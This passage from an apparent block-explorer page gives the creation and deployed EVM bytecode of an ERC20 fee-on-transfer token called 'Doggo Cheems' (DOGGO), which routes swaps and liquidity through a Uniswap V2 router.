3480156103a4575f80fd5b506102fc6103b3366004611d2f565b6108f0565b3480156103c3575f80fd5b5060075461032b906001600160a01b031681565b3480156103e2575f80fd5b50610358610959565b6103f3610985565b005b348015610400575f80fd5b5060195460405160ff90911681526020016102d4565b348015610421575f80fd5b506102fc610430366004611d05565b610c52565b348015610440575f80fd5b506102fc61044f366004611d6d565b60166020525f908152604090205460ff1681565b34801561046e575f80fd5b506024546102fc90610100900460ff1681565b34801561048c575f80fd5b506102fc61049b366004611d6d565b60136020525f908152604090205460ff1681565b3480156104ba575f80fd5b5042610358565b3480156104cc575f80fd5b50610358600e5481565b3480156104e1575f80fd5b50610358600f5481565b3480156104f6575f80fd5b50610358610505366004611d6d565b6001600160a01b03165f908152601a602052604090205490565b34801561052a575f80fd5b506103f3610c87565b34801561053e575f80fd5b506103f3610cf8565b348015610552575f80fd5b50610358600d5481565b348015610567575f80fd5b5061035860225481565b34801561057c575f80fd5b5061035860215481565b348015610591575f80fd5b5061035860095481565b3480156105a6575f80fd5b50610358600a5481565b3480156105bb575f80fd5b506102fc6105ca366004611d6d565b60156020525f908152604090205460ff1681565b3480156105e9575f80fd5b505f546001600160a01b031661032b565b348015610605575f80fd5b506102c7610d65565b348015610619575f80fd5b5061035860115481565b34801561062e575f80fd5b506102fc61063d366004611d05565b610d74565b34801561064d575f80fd5b5060065461032b906001600160a01b031681565b34801561066c575f80fd5b5061035860105481565b348015610681575f80fd5b506102fc610690366004611d05565b610dc1565b3480156106a0575f80fd5b505f5461032b906001600160a01b031681565b3480156106be575f80fd5b5061035860035481565b3480156106d3575f80fd5b5061035860025481565b3480156106e8575f80fd5b50601d5461032b906001600160a01b031681565b348015610707575f80fd5b50610358600b5481565b34801561071c575f80fd5b506102fc61072b366004611d6d565b60146020525f908152604090205460ff1681565b34801561074a575f80fd5b50610358600c5481565b34801561075f575f80fd5b50610358601f5481565b348015610774575f80fd5b506024546102fc9062010000900460ff1681565b348015610793575f80fd5b5061035860015481565b3480156107a8575f80fd5b506103586107b7366004611d88565b6001600160a01b039182165f908152601b6020908152604080832093909416825291909152205490565b3480156107ec575f80fd5b5061035860085481565b348015610801575f80fd5b506103f3610810366004611d6d565b610dcd565b348015610820575f80fd5b506024546102fc906301000000900460ff1681565b348015610840575f80fd5b50610358601e5481565b60606017805461085990611dbf565b80601f016020809104026020016040519081016040528092919081815260200182805461088590611dbf565b80156108d05780601f106108a7576101008083540402835291602001916108d0565b820191905f5260205f20905b8154815290600101906020018083116108b357829003601f168201915b5050505050905090565b5f6108e6338484610eb4565b5060015b92915050565b5f6108fc848484610fd7565b5061094e8433610949856040518060600160405280602881526020016120bd602891396001600160a01b038a165f908152601b602090815260408083203384529091529020549190611429565b610eb4565b5060015b9392505050565b6007546001600160a01b03165f908152601a60205260408120546109809060205490611461565b905090565b5f546001600160a01b031633146109b75760405162461bcd60e51b81526004016109ae90611df7565b60405180910390fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a0b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a2f9190611e2c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a7a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9e9190611e2c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610ae8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b0c9190611e2c565b601d80546001600160a01b039283166001600160a01b031991821681178355601254601c805487871694168417815560208054305f818152601b8085526040808320998352988552888220939093558681529183528682209489168083529483528682205f19905587548916825260168352868220805460ff19908116600190811790925598548a168352601490935295902080549096161790945592549093169063f305d719903490610bd4816001600160a01b03165f908152601a602052604090205490565b5f80610be75f546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610c0996959493929190611e47565b60606040518083038185885af1158015610c25573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c4a9190611e82565b505050505050565b335f818152601b602090815260408083206001600160a01b038716845290915281205490916108e691859061094990866114a2565b5f546001600160a01b03163314610cb05760405162461bcd60e51b81526004016109ae90611df7565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610d215760405162461bcd60e51b81526004016109ae90611df7565b601954610d329060ff16600a611fa1565b602054610d3f9190611faf565b602255601954610d539060ff16600a611fa1565b602054610d609190611faf565b602155565b60606018805461085990611dbf565b5f6108e633846109498560405180606001604052806025815260200161210560259139335f908152601b602090815260408083206001600160a01b038d1684529091529020549190611429565b5f61094e338484610fd7565b5f546001600160a01b03163314610df65760405162461bcd60e51b81526004016109ae90611df7565b6001600160a01b038116610e5b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109ae565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610f165760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109ae565b6001600160a01b038216610f775760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109ae565b6001600160a01b038381165f818152601b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b03841661103c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016109ae565b6001600160a01b03831661109e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016109ae565b5f82116110ff5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016109ae565b6001600160a01b0384165f9081526013602052604090205460ff168061113c57506001600160a01b0383165f9081526013602052604090205460ff165b156111535761114c848484611500565b9050610952565b60245460ff16156111695761114c848484611500565b6001600160a01b0384165f9081526015602052604090205460ff161580156111a957506001600160a01b0383165f9081526015602052604090205460ff16155b15611211576022548211156112115760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b60648201526084016109ae565b305f908152601a602052604090205460235481108015908190611237575060245460ff16155b801561125b57506001600160a01b0386165f9081526016602052604090205460ff16155b801561126e5750602454610100900460ff165b156112935760245462010000900460ff161561128a5760235491505b611293826115d0565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389165f908152601a90915291909120546112e4918690611429565b6001600160a01b0387165f908152601a6020908152604080832093909355601390529081205460ff168061132f57506001600160a01b0386165f9081526013602052604090205460ff165b6113435761133e8787876116f5565b611345565b845b6024549091506301000000900460ff16801561137957506001600160a01b0386165f9081526014602052604090205460ff16155b156113b3576021546113a9826113a3896001600160a01b03165f908152601a602052604090205490565b906114a2565b11156113b3575f80fd5b6001600160a01b0386165f908152601a60205260409020546113d590826114a2565b6001600160a01b038088165f818152601a602052604090819020939093559151908916905f805160206120e5833981519152906114159085815260200190565b60405180910390a360019350505050610952565b5f818484111561144c5760405162461bcd60e51b81526004016109ae9190611ca3565b505f6114588486611fc6565b95945050505050565b5f61095283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611429565b5f806114ae8385611fd9565b9050838110156109525760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016109ae565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f908152601a90915291822054611550918490611429565b6001600160a01b038086165f908152601a6020526040808220939093559085168152205461157e90836114a2565b6001600160a01b038085165f818152601a602052604090819020939093559151908616905f805160206120e5833981519152906115be9086815260200190565b60405180910390a35060019392505050565b6024805460ff19166001179055601154600e545f916115ff916002916115f991829087906118c5565b90611943565b90505f61160c8383611461565b905061161781611984565b600e5447905f906116369061162d906002611943565b60115490611461565b90505f61165760026115f9846115f9600e54886118c590919063ffffffff16565b90505f611673836115f9601054876118c590919063ffffffff16565b90505f61168a826116848786611461565b90611461565b905080156116a8576006546116a8906001600160a01b031682611b0d565b81156116c4576005546116c4906001600160a01b031683611b0d565b5f831180156116d257505f87115b156116e1576116e18784611b45565b50506024805460ff19169055505050505050565b6001600160a01b0383165f908152601660205260408120548190819060ff16156117855761173f60646115f961173860045460085461146190919063ffffffff16565b87906118c5565b91505f6004541180156117555750601f54601e54105b156117805761177460646115f9600454876118c590919063ffffffff16565b90506117808682611be4565b611842565b6001600160a01b0385165f9081526016602052604090205460ff1615611842576012546001600160a01b03165f908152601a6020526040812054905080600e5f8282546117d29190611fc6565b925050819055506117ff60646115f96117f8600d5460095461146190919063ffffffff16565b88906118c5565b92505f600d541180156118155750601f54601e54105b156118405761183460646115f9600d54886118c590919063ffffffff16565b91506118408783611be4565b505b81156118a757305f908152601a602052604090205461186190836114a2565b305f818152601a6020526040908190209290925590516001600160a01b038816905f805160206120e58339815191529061189e9086815260200190565b60405180910390a35b6118bb6118b483836114a2565b8590611461565b9695505050505050565b5f825f036118d457505f6108ea565b5f6118df8385611faf565b9050826118ec8583611fec565b146109525760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109ae565b5f61095283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c77565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106119b7576119b761200b565b6001600160a01b03928316602091820292909201810191909152601c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611a0e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a329190611e2c565b81600181518110611a4557611a4561200b565b6001600160a01b039283166020918202929092010152601c54611a6b9130911684610eb4565b601c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611aa39085905f90869030904290600401612061565b5f604051808303815f87803b158015611aba575f80fd5b505af1158015611acc573d5f803e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611b0192919061209c565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015611b40573d5f803e3d5ffd5b505050565b601c54611b5d9030906001600160a01b031684610eb4565b601c5460125460405163f305d71960e01b81526001600160a01b039283169263f305d719928592611b9c92309289925f92839216904290600401611e47565b60606040518083038185885af1158015611bb8573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611bdd9190611e82565b5050505050565b601f54601e5410611bf3575050565b6007546001600160a01b03165f908152601a6020526040902054611c1790826114a2565b6007546001600160a01b03165f908152601a6020526040902055601e54611c3e90826114a2565b601e556007546040518281526001600160a01b03918216918416905f805160206120e58339815191529060200160405180910390a35050565b5f8183611c975760405162461bcd60e51b81526004016109ae9190611ca3565b505f6114588486611fec565b5f6020808352835180828501525f5b81811015611cce57858101830151858201604001528201611cb2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611d02575f80fd5b50565b5f8060408385031215611d16575f80fd5b8235611d2181611cee565b946020939093013593505050565b5f805f60608486031215611d41575f80fd5b8335611d4c81611cee565b92506020840135611d5c81611cee565b929592945050506040919091013590565b5f60208284031215611d7d575f80fd5b813561095281611cee565b5f8060408385031215611d99575f80fd5b8235611da481611cee565b91506020830135611db481611cee565b809150509250929050565b600181811c90821680611dd357607f821691505b602082108103611df157634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611e3c575f80fd5b815161095281611cee565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b5f805f60608486031215611e94575f80fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611efb57815f1904821115611ee157611ee1611ead565b80851615611eee57918102915b93841c9390800290611ec6565b509250929050565b5f82611f11575060016108ea565b81611f1d57505f6108ea565b8160018114611f335760028114611f3d57611f59565b60019150506108ea565b60ff841115611f4e57611f4e611ead565b50506001821b6108ea565b5060208310610133831016604e8410600b8410161715611f7c575081810a6108ea565b611f868383611ec1565b805f1904821115611f9957611f99611ead565b029392505050565b5f61095260ff841683611f03565b80820281158282048414176108ea576108ea611ead565b818103818111156108ea576108ea611ead565b808201808211156108ea576108ea611ead565b5f8261200657634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f8151808452602080850194508084015f5b838110156120565781516001600160a01b031687529582019590820190600101612031565b509495945050505050565b85815284602082015260a060408201525f61207f60a083018661201f565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201525f6120b4604083018461201f565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122063e40ee1d391a642b9cf2797e25fe9ceace857397d7f947507520b01309fe4bd64736f6c6343000814003300000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000d47fd275457ec39093445f6d2e949b8dbb56789a000000000000000000000000d47fd275457ec39093445f6d2e949b8dbb56789a000000000000000000000000db4ecc0acb9537600911020ff2ffc8bfa90b86ac000000000000000000000000000000000000000000000000000000000000000c446f67676f20436865656d7300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005444f47474f000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x6080604052600436106102a8575f3560e01c806382eefb431161016f578063c5d24189116100d8578063da00097d11610092578063f0cd1dac1161006d578063f0cd1dac146107e1578063f2fde38b146107f6578063f872858a14610815578063fb1eb14b14610835575f80fd5b8063da00097d14610769578063dc44b6a014610788578063dd62ed3e1461079d575f80fd5b8063c5d24189146106c8578063c816841b146106dd578063c8607952146106fc578063c867d60b14610711578063cab034711461073f578063d187f41714610754575f80fd5b8063a457c2d711610129578063a457c2d714610623578063a5ece94114610642578063a83f53a714610661578063a9059cbb14610676578063b2bdfa7b14610695578063c469b6dd146106b3575f80fd5b806382eefb431461058657806388790a681461059b5780638b42507f146105b05780638da5cb5b146105de57806395d89b41146105fa578063a08e671f1461060e575f80fd5b80633ecad2711161021157806370a08231116101cb57806370a08231146104eb578063715018a61461051f578063751039fc146105335780637abdc1ca146105475780637d1db4a51461055c578063807c2d9c14610571575f80fd5b80633ecad271146104355780634a74bb02146104635780635342acb414610481578063557ed1ba146104af57806357a5802f146104c157806361a23c69146104d6575f80fd5b806323b872dd1161026257806323b872dd1461039957806327c8f835146103b85780632b112e49146103d75780632fbb9ba6146103eb578063313ce567146103f55780633950935114610416575f80fd5b806306fdde03146102b3578063095ea7b3146102dd5780631694505e1461030c57806316f2f1a81461034357806318160ddd146103665780631c75f0851461037a575f80fd5b366102af57005b5f80fd5b3480156102be575f80fd5b506102c761084a565b6040516102d49190611ca3565b60405180910390f35b3480156102e8575f80fd5b506102fc6102f7366004611d05565b6108da565b60405190151581526020016102d4565b348015610317575f80fd5b50601c5461032b906001600160a01b031681565b6040516001600160a01b0390911681526020016102d4565b34801561034e575f80fd5b5061035860045481565b6040519081526020016102d4565b348015610371575f80fd5b50602054610358565b348015610385575f80fd5b5060055461032b906001600160a01b031681565b3480156103a4575f80fd5b506102fc6103b3366004611d2f565b6108f0565b3480156103c3575f80fd5b5060075461032b906001600160a01b031681565b3480156103e2575f80fd5b50610358610959565b6103f3610985565b005b348015610400575f80fd5b5060195460405160ff90911681526020016102d4565b348015610421575f80fd5b506102fc610430366004611d05565b610c52565b348015610440575f80fd5b506102fc61044f366004611d6d565b60166020525f908152604090205460ff1681565b34801561046e575f80fd5b506024546102fc90610100900460ff1681565b34801561048c575f80fd5b506102fc61049b366004611d6d565b60136020525f908152604090205460ff1681565b3480156104ba575f80fd5b5042610358565b3480156104cc575f80fd5b50610358600e5481565b3480156104e1575f80fd5b50610358600f5481565b3480156104f6575f80fd5b50610358610505366004611d6d565b6001600160a01b03165f908152601a602052604090205490565b34801561052a575f80fd5b506103f3610c87565b34801561053e575f80fd5b506103f3610cf8565b348015610552575f80fd5b50610358600d5481565b348015610567575f80fd5b5061035860225481565b34801561057c575f80fd5b5061035860215481565b348015610591575f80fd5b5061035860095481565b3480156105a6575f80fd5b50610358600a5481565b3480156105bb575f80fd5b506102fc6105ca366004611d6d565b60156020525f908152604090205460ff1681565b3480156105e9575f80fd5b505f546001600160a01b031661032b565b348015610605575f80fd5b506102c7610d65565b348015610619575f80fd5b5061035860115481565b34801561062e575f80fd5b506102fc61063d366004611d05565b610d74565b34801561064d575f80fd5b5060065461032b906001600160a01b031681565b34801561066c575f80fd5b5061035860105481565b348015610681575f80fd5b506102fc610690366004611d05565b610dc1565b3480156106a0575f80fd5b505f5461032b906001600160a01b031681565b3480156106be575f80fd5b5061035860035481565b3480156106d3575f80fd5b5061035860025481565b3480156106e8575f80fd5b50601d5461032b906001600160a01b031681565b348015610707575f80fd5b50610358600b5481565b34801561071c575f80fd5b506102fc61072b366004611d6d565b60146020525f908152604090205460ff1681565b34801561074a575f80fd5b50610358600c5481565b34801561075f575f80fd5b50610358601f5481565b348015610774575f80fd5b506024546102fc9062010000900460ff1681565b348015610793575f80fd5b5061035860015481565b3480156107a8575f80fd5b506103586107b7366004611d88565b6001600160a01b039182165f908152601b6020908152604080832093909416825291909152205490565b3480156107ec575f80fd5b5061035860085481565b348015610801575f80fd5b506103f3610810366004611d6d565b610dcd565b348015610820575f80fd5b506024546102fc906301000000900460ff1681565b348015610840575f80fd5b50610358601e5481565b60606017805461085990611dbf565b80601f016020809104026020016040519081016040528092919081815260200182805461088590611dbf565b80156108d05780601f106108a7576101008083540402835291602001916108d0565b820191905f5260205f20905b8154815290600101906020018083116108b357829003601f168201915b5050505050905090565b5f6108e6338484610eb4565b5060015b92915050565b5f6108fc848484610fd7565b5061094e8433610949856040518060600160405280602881526020016120bd602891396001600160a01b038a165f908152601b602090815260408083203384529091529020549190611429565b610eb4565b5060015b9392505050565b6007546001600160a01b03165f908152601a60205260408120546109809060205490611461565b905090565b5f546001600160a01b031633146109b75760405162461bcd60e51b81526004016109ae90611df7565b60405180910390fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a0b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a2f9190611e2c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a7a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9e9190611e2c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610ae8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b0c9190611e2c565b601d80546001600160a01b039283166001600160a01b031991821681178355601254601c805487871694168417815560208054305f818152601b8085526040808320998352988552888220939093558681529183528682209489168083529483528682205f19905587548916825260168352868220805460ff19908116600190811790925598548a168352601490935295902080549096161790945592549093169063f305d719903490610bd4816001600160a01b03165f908152601a602052604090205490565b5f80610be75f546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610c0996959493929190611e47565b60606040518083038185885af1158015610c25573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c4a9190611e82565b505050505050565b335f818152601b602090815260408083206001600160a01b038716845290915281205490916108e691859061094990866114a2565b5f546001600160a01b03163314610cb05760405162461bcd60e51b81526004016109ae90611df7565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610d215760405162461bcd60e51b81526004016109ae90611df7565b601954610d329060ff16600a611fa1565b602054610d3f9190611faf565b602255601954610d539060ff16600a611fa1565b602054610d609190611faf565b602155565b60606018805461085990611dbf565b5f6108e633846109498560405180606001604052806025815260200161210560259139335f908152601b602090815260408083206001600160a01b038d1684529091529020549190611429565b5f61094e338484610fd7565b5f546001600160a01b03163314610df65760405162461bcd60e51b81526004016109ae90611df7565b6001600160a01b038116610e5b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109ae565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610f165760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109ae565b6001600160a01b038216610f775760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109ae565b6001600160a01b038381165f818152601b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b03841661103c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016109ae565b6001600160a01b03831661109e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016109ae565b5f82116110ff5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016109ae565b6001600160a01b0384165f9081526013602052604090205460ff168061113c57506001600160a01b0383165f9081526013602052604090205460ff165b156111535761114c848484611500565b9050610952565b60245460ff16156111695761114c848484611500565b6001600160a01b0384165f9081526015602052604090205460ff161580156111a957506001600160a01b0383165f9081526015602052604090205460ff16155b15611211576022548211156112115760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b60648201526084016109ae565b305f908152601a602052604090205460235481108015908190611237575060245460ff16155b801561125b57506001600160a01b0386165f9081526016602052604090205460ff16155b801561126e5750602454610100900460ff165b156112935760245462010000900460ff161561128a5760235491505b611293826115d0565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389165f908152601a90915291909120546112e4918690611429565b6001600160a01b0387165f908152601a6020908152604080832093909355601390529081205460ff168061132f57506001600160a01b0386165f9081526013602052604090205460ff165b6113435761133e8787876116f5565b611345565b845b6024549091506301000000900460ff16801561137957506001600160a01b0386165f9081526014602052604090205460ff16155b156113b3576021546113a9826113a3896001600160a01b03165f908152601a602052604090205490565b906114a2565b11156113b3575f80fd5b6001600160a01b0386165f908152601a60205260409020546113d590826114a2565b6001600160a01b038088165f818152601a602052604090819020939093559151908916905f805160206120e5833981519152906114159085815260200190565b60405180910390a360019350505050610952565b5f818484111561144c5760405162461bcd60e51b81526004016109ae9190611ca3565b505f6114588486611fc6565b95945050505050565b5f61095283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611429565b5f806114ae8385611fd9565b9050838110156109525760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016109ae565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f908152601a90915291822054611550918490611429565b6001600160a01b038086165f908152601a6020526040808220939093559085168152205461157e90836114a2565b6001600160a01b038085165f818152601a602052604090819020939093559151908616905f805160206120e5833981519152906115be9086815260200190565b60405180910390a35060019392505050565b6024805460ff19166001179055601154600e545f916115ff916002916115f991829087906118c5565b90611943565b90505f61160c8383611461565b905061161781611984565b600e5447905f906116369061162d906002611943565b60115490611461565b90505f61165760026115f9846115f9600e54886118c590919063ffffffff16565b90505f611673836115f9601054876118c590919063ffffffff16565b90505f61168a826116848786611461565b90611461565b905080156116a8576006546116a8906001600160a01b031682611b0d565b81156116c4576005546116c4906001600160a01b031683611b0d565b5f831180156116d257505f87115b156116e1576116e18784611b45565b50506024805460ff19169055505050505050565b6001600160a01b0383165f908152601660205260408120548190819060ff16156117855761173f60646115f961173860045460085461146190919063ffffffff16565b87906118c5565b91505f6004541180156117555750601f54601e54105b156117805761177460646115f9600454876118c590919063ffffffff16565b90506117808682611be4565b611842565b6001600160a01b0385165f9081526016602052604090205460ff1615611842576012546001600160a01b03165f908152601a6020526040812054905080600e5f8282546117d29190611fc6565b925050819055506117ff60646115f96117f8600d5460095461146190919063ffffffff16565b88906118c5565b92505f600d541180156118155750601f54601e54105b156118405761183460646115f9600d54886118c590919063ffffffff16565b91506118408783611be4565b505b81156118a757305f908152601a602052604090205461186190836114a2565b305f818152601a6020526040908190209290925590516001600160a01b038816905f805160206120e58339815191529061189e9086815260200190565b60405180910390a35b6118bb6118b483836114a2565b8590611461565b9695505050505050565b5f825f036118d457505f6108ea565b5f6118df8385611faf565b9050826118ec8583611fec565b146109525760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109ae565b5f61095283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c77565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106119b7576119b761200b565b6001600160a01b03928316602091820292909201810191909152601c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611a0e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a329190611e2c565b81600181518110611a4557611a4561200b565b6001600160a01b039283166020918202929092010152601c54611a6b9130911684610eb4565b601c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611aa39085905f90869030904290600401612061565b5f604051808303815f87803b158015611aba575f80fd5b505af1158015611acc573d5f803e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611b0192919061209c565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015611b40573d5f803e3d5ffd5b505050565b601c54611b5d9030906001600160a01b031684610eb4565b601c5460125460405163f305d71960e01b81526001600160a01b039283169263f305d719928592611b9c92309289925f92839216904290600401611e47565b60606040518083038185885af1158015611bb8573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611bdd9190611e82565b5050505050565b601f54601e5410611bf3575050565b6007546001600160a01b03165f908152601a6020526040902054611c1790826114a2565b6007546001600160a01b03165f908152601a6020526040902055601e54611c3e90826114a2565b601e556007546040518281526001600160a01b03918216918416905f805160206120e58339815191529060200160405180910390a35050565b5f8183611c975760405162461bcd60e51b81526004016109ae9190611ca3565b505f6114588486611fec565b5f6020808352835180828501525f5b81811015611cce57858101830151858201604001528201611cb2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611d02575f80fd5b50565b5f8060408385031215611d16575f80fd5b8235611d2181611cee565b946020939093013593505050565b5f805f60608486031215611d41575f80fd5b8335611d4c81611cee565b92506020840135611d5c81611cee565b929592945050506040919091013590565b5f60208284031215611d7d575f80fd5b813561095281611cee565b5f8060408385031215611d99575f80fd5b8235611da481611cee565b91506020830135611db481611cee565b809150509250929050565b600181811c90821680611dd357607f821691505b602082108103611df157634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611e3c575f80fd5b815161095281611cee565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b5f805f60608486031215611e94575f80fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611efb57815f1904821115611ee157611ee1611ead565b80851615611eee57918102915b93841c9390800290611ec6565b509250929050565b5f82611f11575060016108ea565b81611f1d57505f6108ea565b8160018114611f335760028114611f3d57611f59565b60019150506108ea565b60ff841115611f4e57611f4e611ead565b50506001821b6108ea565b5060208310610133831016604e8410600b8410161715611f7c575081810a6108ea565b611f868383611ec1565b805f1904821115611f9957611f99611ead565b029392505050565b5f61095260ff841683611f03565b80820281158282048414176108ea576108ea611ead565b818103818111156108ea576108ea611ead565b808201808211156108ea576108ea611ead565b5f8261200657634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f8151808452602080850194508084015f5b838110156120565781516001600160a01b031687529582019590820190600101612031565b509495945050505050565b85815284602082015260a060408201525f61207f60a083018661201f565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201525f6120b4604083018461201f565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122063e40ee1d391a642b9cf2797e25fe9ceace857397d7f947507520b01309fe4bd64736f6c63430008140033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
